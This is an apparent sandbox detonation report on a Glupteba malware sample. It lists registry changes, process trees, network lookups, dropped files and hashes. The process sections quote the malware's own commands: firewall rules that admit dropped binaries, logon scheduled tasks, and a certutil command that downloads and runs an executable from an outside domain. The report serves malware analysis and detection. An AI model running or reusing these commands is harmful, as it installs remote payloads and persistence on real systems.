| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1471 = "Magadan Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\@%SystemRoot%\system32\eapqec.dll,-103 = "Microsoft Corporation" | C:\Windows\system32\netsh.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-222 = "Alaskan Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Set value (str) | \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\2D\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Scheduled Task/Job: Scheduled Task
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
| N/A | N/A | C:\Windows\system32\schtasks.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Windows\rss\csrss.exe | N/A |
| N/A | N/A | C:\Windows\rss\csrss.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Token: SeSystemEnvironmentPrivilege | N/A | C:\Windows\rss\csrss.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"
C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240730192326.log C:\Windows\Logs\CBS\CbsPersist_20240730192326.cab
C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
C:\Windows\system32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | msdl.microsoft.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 204.79.197.219:443 | msdl.microsoft.com | tcp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | hotbooks.tech | udp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
| US | 8.8.8.8:53 | f7de491a-8e94-4267-a206-325e6fed0357.server2.easywbdesign.com | udp |
Files
memory/2084-0-0x0000000004880000-0x0000000004C27000-memory.dmp
memory/2084-1-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2084-2-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2084-4-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2992-5-0x0000000004A50000-0x0000000004DF7000-memory.dmp
\Windows\rss\csrss.exe
| MD5 | 0c19acdf6bfbf4ee34d547f2fd8b44e2 |
| SHA1 | e98b131e5f2ba6e06763061e71e41e3d56f8e845 |
| SHA256 | 556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49 |
| SHA512 | 8dde14e02743a994cac8365f43199a152afacdec7467280fd0870803d0cc596e687ad02e847e9a9feddbd4c0a90534947e3daeea8fa066853a93905ec4cd455e |
memory/2992-14-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-15-0x0000000004810000-0x0000000004BB7000-memory.dmp
\Users\Admin\AppData\Local\Temp\csrss\patch.exe
| MD5 | 13aaafe14eb60d6a718230e82c671d57 |
| SHA1 | e039dd924d12f264521b8e689426fb7ca95a0a7b |
| SHA256 | f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3 |
| SHA512 | ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3 |
memory/1824-21-0x0000000140000000-0x00000001405E8000-memory.dmp
\Users\Admin\AppData\Local\Temp\dbghelp.dll
| MD5 | f0616fa8bc54ece07e3107057f74e4db |
| SHA1 | b33995c4f9a004b7d806c4bb36040ee844781fca |
| SHA256 | 6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026 |
| SHA512 | 15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c |
\Users\Admin\AppData\Local\Temp\symsrv.dll
| MD5 | 5c399d34d8dc01741269ff1f1aca7554 |
| SHA1 | e0ceed500d3cef5558f3f55d33ba9c3a709e8f55 |
| SHA256 | e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f |
| SHA512 | 8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d |
\Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
| MD5 | 1afff8d5352aecef2ecd47ffa02d7f7d |
| SHA1 | 8b115b84efdb3a1b87f750d35822b2609e665bef |
| SHA256 | c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1 |
| SHA512 | e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb |
memory/1824-35-0x0000000140000000-0x00000001405E8000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Cab2CAE.tmp
| MD5 | 49aebf8cbd62d92ac215b2923fb1b9f5 |
| SHA1 | 1723be06719828dda65ad804298d0431f6aff976 |
| SHA256 | b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f |
| SHA512 | bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b |
C:\Users\Admin\AppData\Local\Temp\Tar2CDF.tmp
| MD5 | 4ea6026cf93ec6338144661bf1202cd1 |
| SHA1 | a1dec9044f750ad887935a01430bf49322fbdcb7 |
| SHA256 | 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8 |
| SHA512 | 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b |
memory/2680-143-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-263-0x0000000000400000-0x0000000002FC8000-memory.dmp
\Users\Admin\AppData\Local\Temp\osloader.exe
| MD5 | e2f68dc7fbd6e0bf031ca3809a739346 |
| SHA1 | 9c35494898e65c8a62887f28e04c0359ab6f63f5 |
| SHA256 | b74cd24cef07f0226e7b777f7862943faee4cf288178b423d5344b0769dc15d4 |
| SHA512 | 26256a12b5b8b3a40b34f18e081cdb45ea11845589c9d458a79385a4b8178f32164b417ddc9346fab8299bc6d4b9fedb620274c4edf9321424f37a2e2a6de579 |
memory/2680-379-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-434-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-490-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-491-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-492-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-493-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-494-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-495-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-496-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-497-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-498-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2680-499-0x0000000000400000-0x0000000002FC8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-07-28 06:10
Reported
2024-07-30 19:25
Platform
win10v2004-20240730-en
Max time kernel
133s
Max time network
123s
Command Line
Signatures
Glupteba
Glupteba payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
| N/A | N/A | N/A | N/A |
Modifies Windows Firewall
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
| N/A | N/A | C:\Windows\system32\netsh.exe | N/A |
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\rss\csrss.exe | N/A |
Adds Run key to start application
| Description | Indicator | Process | Target |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2951562807-3718269429-4208157415-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BillowingGrass = "\"C:\\Windows\\rss\\csrss.exe\"" | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Checks for VirtualBox DLLs, possible anti-VM trick
| Description | Indicator | Process | Target |
| File opened (read-only) | \??\VBoxMiniRdrDN | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\rss | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| File created | C:\Windows\rss\csrss.exe | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Event Triggered Execution: Netsh Helper DLL
| Description | Indicator | Process | Target |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key queried | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key value enumerated | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh | C:\Windows\system32\netsh.exe | N/A |
Program crash
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\rss\csrss.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
| Token: SeImpersonatePrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"
C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\0c19acdf6bfbf4ee34d547f2fd8b44e2_JaffaCakes118.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 3544 -ip 3544
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 3544 -s 800
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\263ab35da202\263ab35da202\263ab35da202.exe" enable=yes"
C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\263ab35da202\263ab35da202\263ab35da202.exe" enable=yes
C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 532 -p 2252 -ip 2252
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2252 -s 572
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 71.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 99.58.20.217.in-addr.arpa | udp |
Files
memory/3544-1-0x0000000004EF0000-0x000000000529C000-memory.dmp
memory/3544-2-0x00000000052A0000-0x0000000005996000-memory.dmp
memory/3544-3-0x0000000000400000-0x0000000000B10000-memory.dmp
memory/3544-6-0x0000000000400000-0x0000000000B10000-memory.dmp
memory/3544-5-0x00000000052A0000-0x0000000005996000-memory.dmp
memory/3544-4-0x0000000000400000-0x0000000002FC8000-memory.dmp
memory/2252-8-0x0000000000400000-0x0000000002FC8000-memory.dmp
C:\Windows\rss\csrss.exe
| MD5 | 0c19acdf6bfbf4ee34d547f2fd8b44e2 |
| SHA1 | e98b131e5f2ba6e06763061e71e41e3d56f8e845 |
| SHA256 | 556848f1d6b1c534ed925865de31a3d1669aac08d02674fd212762b6a15eaa49 |
| SHA512 | 8dde14e02743a994cac8365f43199a152afacdec7467280fd0870803d0cc596e687ad02e847e9a9feddbd4c0a90534947e3daeea8fa066853a93905ec4cd455e |
memory/2252-13-0x0000000000400000-0x0000000002FC8000-memory.dmp